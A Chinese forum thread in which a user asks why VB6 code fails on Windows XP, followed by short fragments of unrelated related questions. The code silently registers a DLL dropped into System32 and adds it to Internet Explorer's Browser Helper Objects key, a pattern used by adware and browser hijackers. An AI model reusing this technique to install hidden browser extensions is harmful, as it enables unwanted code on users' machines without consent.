vb程序在XP系统下无法 获取DLL的clisd
我用VB6.0写了一个绿色软件（50K）左右，在windows2003下执行正常，但在XP下却没有任何反映~~
追踪调试发现，获取DLL的Clisd为空~~
我把代码先放上来、供大家分析一下
Private Sub register()
On Error Resume Next
Dim cl As String, pid As Long, h As Long
cl = "c:\windows\system32\project.dll"
pid = Shell("cmd /c regsvr32 /s " + cl, vbHide)
h = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
WaitForSingleObject h, -1
cl = Replace(cl, """", "")
Set ti = ta.TypeLibInfofromFile(cl)
Dim clisd As String
For Each tc In ti.CoClasses
clisd = tc.Guid
wsh.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\" + clisd + "\", Null
Next
End Sub
本例实现了，把释放到System32下的project.dll的 clisd 值，添加到 BHO下~~
在开发电脑上运行正常、但跑到XP下就不行了~~
请高手和前辈指点一下~~~
谢谢~~
我的QQ:544588699
分确实不多了~~~
去掉你的On Error Resume Next看看什么错误，另外看看是不是因为权限的关系
可能是权限问题
还有你可以在xp环境下调试一下
建议在XP环境下调试一下，看看project.dll是否注册成功。
相关问答：
比如进程加载新的程序。
在其运行之前阻止。
然后允许后放行。
比如程序主文件路径是c:\test\test.exe，建立内容任意的文件c:\test\test.exe.manifest。
就是不知道程序文件路径。
设� ......
vb写的程序编译后,运行若出错,如何知道到在哪一行?
按Ctrl+F5预编译，出错时会跳转到错误行
不是那样的了,我是要求编译成EXE后运行,提示出错能否提示错在哪一行.
我编译后在我的电脑上运行没问题,但� ......
就是设计一个计算机模拟考试系统，带有学生和管理员，所以登录窗体和主窗体想分开，登陆学生的显示学生的主窗体，登陆管理员显示管理主窗体，我只会一个窗体用一堆控件，现在享有多个主窗体，不知道怎么做，希望请大 ......
怎么优化查询的效率，比如我想从100万条记录中每次只查询100条记录的话，那么这条sql语句该怎么实现，注意：语言是VBScript的，
http://www.cnblogs.com/anjou/archive/2007/10/17/926944.html
涉及到算法，goog ......
我制作了个用户控件，需要动态加载到窗体上
Set objExt = Controls.Add("工程1.meActiveX", argName)
objExt.Visible = True
程序一次能加载N个， 现在想对 ......
